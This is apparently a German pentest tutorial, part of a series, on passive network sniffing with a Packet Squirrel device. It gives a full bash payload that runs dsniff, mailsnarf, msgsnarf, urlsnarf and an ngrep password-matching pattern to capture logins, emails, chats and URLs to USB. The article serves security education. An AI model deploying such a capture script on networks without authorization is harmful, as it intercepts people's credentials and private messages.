Bei Passive Monitoring wird der Datenverkehr in einem Netzwerk aufgezeichnet und analysiert, ohne dadurch zusätzlichen Verkehr zu erzeugen. Dabei werden interessante Inhalte mitgeschnitten und extern gespeichert.
Der Packet Squirrel eignet sich hervorragend für unser Experiment, da er sowohl die notwendige Hardware als auch Software mitbringt.
Wir werden in diesem dritten Teil der Artikelserie Programme aus der DSniff-Suite einsetzen, um Login-Daten, Passwörter bzw. Inhalte aus E-Mails, Instant-Messaging- und Chat-Programme aufzuzeichnen.
Vorher möchte ich aber folgendes klarstellen: Natürlich werden mehr und mehr Programme eingesetzt, die eine Verschlüsselung des Datenverkehrs im Netzwerk ermöglichen. Hiermit sollte es für jeden Sniffer schwer sein, relevante Login-Daten bzw. Passwörter mitzulesen. Erfahrene Penetrationstester wissen aber auch, dass sich das Mitschneiden eines Datenstroms über einen bestimmten Zeitraum in jedem Fall auszahlen kann. Neben den fortgeschrittenen Technologien kommen immer wieder veraltete Protokolle zum Einsatz, die die Daten unverschlüsselt übermitteln.
Wie werden folgende Programme auf dem Packet Squirrel einsetzen:
DSniff
Ein hervorragendes Tool zu Abgreifen von Login-Daten und Sitzungen, dass viele Protokolle versteht. Hier einige Beispiele:
FTP, Telnet, SMTP, HTTP, POP, poppass, NNTP, IMAP, SNMP, LDAP, Rlogin, RIP, OSPF, PPTP MS-CHAP, NFS, VRRP, YP/NIS, SOCKS, X11, CVS, IRC, AIM, ICQ, Napster, PostgreSQL, Meeting Maker, Citrix ICA, Symantec pc Anywhere, NAI Sniffer, Microsoft SMB, Oracle SQL*Net, Sybase und Microsoft SQL
MailSnarf
Dieses Werkzeug zeichnet alle Nachrichten auf, die über die unverschlüsselten Versionen von SMTP/POP verschickt und empfangen werden. Die abgefangenen Informationen werden im MBox-Format abgelegt. Damit lassen sie sich in einem Texteditor bzw. mit einem herkömmlichen E-Mail-Programm lesen.
MsgSnarf
Das Programm ist auf das Mitlesen von Sitzungen diverser Chat- und Instant-Messaging Programmen spezialisiert. Das sind u.a.: AOL Instant Messenger, ICQ 2000, IRC, MSN Messenger oder Yahoo Messenger.
URLSnarf
Hiermit lassen sich alle aufgerufenen URLs des HTTP-Datenverkehrs auslesen. Die abgegriffenen Daten werden im CLF-Format erfasst und können somit später mit Hilfe von Logfile-Analyzer-Programmen analysiert werden.
ngrep
Das Programm ist kein Bestandteil der DSniff-Suite, sondern ein eigenständiger Packet Analyzer, der vergleichbar mit tcpdump auf Kommandozeilenebene arbeitet. Mit Hilfe von regulären Ausdrücken (engl.: regular expressions) lässt sich der Datenverkehr nach bestimmten Zeichenketten durchsuchen und auswerten. Der Kreativität der Penetrationstester sind hier kaum Grenzen gesetzt.
Payload erstellen
Wie bereits im zweiten Teil der Artikelserie festgestellt, lassen sich für den Packet Squirrel bestimmte Payloads entwickeln bzw. anpassen, die dann nur noch an einer bestimmten Switch-Position abgelegt und ausgeführt werden müssen.
Um uns der Arbeit zu erleichtern, modifizieren wir den an Switch-Position 1 abgelegten Payload für unsere Erfordernisse. Dies könnte dann wie folgt aussehen:
[code]
#!/bin/bash
#
# Title: Passive Monitoring with Packet Squirrel
# Description: Dumps risky unencrypted data to USB storage. Completes on button-press or storage full.
# Author: Hak5 modified by Pentestit.de
# Version: 1.0
# Category: sniffing
# Target: Any
# Net Mode: TRANSPARENT
# LEDs
# SUCCESS: Dump complete
# FAIL: No USB storage found
function monitor_space() {
while true
do
[[ $(df | grep /mnt | awk ‘{print $4}’) -lt 10000 ]] && {
kill $1
LED G SUCCESS
sync
break
}
sleep 5
done
}
function finish() {
# Kill DSniff
kill $1
wait $1
# Kill MailSnarf
kill $2
wait $2
# Kill MsgSnarf
kill $3
wait $3
# Kill URLSnarf
kill $4
wait $4
# Kill ngrep
kill $5
wait $5
# sync filesystem
sync
# Indicate successful shutdown
LED R SUCCESS
sleep 1
# Halt the system
LED FINISH
LED OFF
halt
}
function run() {
# Create loot directory
mkdir -p /mnt/loot/dsniff &> /dev/null
mkdir -p /mnt/loot/mailsnarf &> /dev/null
mkdir -p /mnt/loot/msgsnarf &> /dev/null
mkdir -p /mnt/loot/urlsnarf &> /dev/null
mkdir -p /mnt/loot/ngrep &> /dev/null
# Set networking to TRANSPARENT mode and wait five seconds
NETMODE TRANSPARENT
sleep 5
# Start DSniff on the bridge interface
dsniff -c -m -i br-lan -w /mnt/loot/dsniff/dsniff_$(date +%Y-%m-%d-%H%M%S).txt &
spid=$!
# Start MailSnarf
mailsnarf -i br-lan >> /mnt/loot/mailsnarf/mailsnarf_$(date +%Y-%m-%d-%H%M%S).txt &
mpid=$!
# Start MsgSnarf
msgsnarf -i br-lan >> /mnt/loot/msgsnarf/msgsnarf_$(date +%Y-%m-%d-%H%M%S).txt &
mspid=$!
# Start URLSnarf
urlsnarf -n -i br-lan >> /mnt/loot/urlsnarf/urlsnarf_$(date +%Y-%m-%d-%H%M%S).txt &
upid=$!
# Start ngrep (search for passwords and login information on port 80 and 21
# Change the following line for your own regular expression
ngrep -d br-lan -i “user_pass|userid|pass|pwd|password|login|user_login|usr|USER” -W byline port 80 or port 21 -O /mnt/loot/ngrep/ngrep_$(date +%Y-%m-%d-%H%M%S).txt &
npid=$!
# Wait for button to be pressed (disable button LED)
NO_LED=true BUTTON
finish $spid $mpid $mspid $upid $npid
}
# This payload will only run if we have USB storage
[[ ! -f /mnt/NO_MOUNT ]] && {
LED ATTACK
run &
monitor_space $! &
} || {
LED FAIL
}
[/code]
Ich verwende im Folgenden die Programmzeilen, um Teile des Codes zu erläutern. Dabei gehe ich nicht unbedingt in Reihenfolge vor:
Zeilen 101-108
Hier wird geprüft, ob ein USB-Stick o.ä. angesteckt ist. Wenn dies nicht zum Erfolg führt, blickt das LED am Packet Squirrel rot.
Zeilen 62-72
Zunächst werden die einzelnen Unterverzeichnisse auf dem USB-Laufwerk im Verzeichnis /loot angelegt und danach der Netzmodus auf TRANSPARENT gesetzt.
Ab Zeile 74 erfolgt der Aufruf der einzelnen Programme. Dazu werden Dateien mit dem aktuellen Zeitstempel angelegt und die gesammelten Ergebnisse in die jeweiligen Unterverzeichnisse gespeichert.
Zeilen 95-97
Alles läuft so lange, bis der „Push Button“ auf dem Packet Squirrel gedrückt wird.
Zeile 28- 60
Alle Programme werden ordnungsgemäß beendet und das Herunterfahren des Gerätes wird angezeigt. Der Packet Squirrel blickt hierbei mehrmals rot und einmal grün. Nun kann er sicher vom Netz getrennt werden.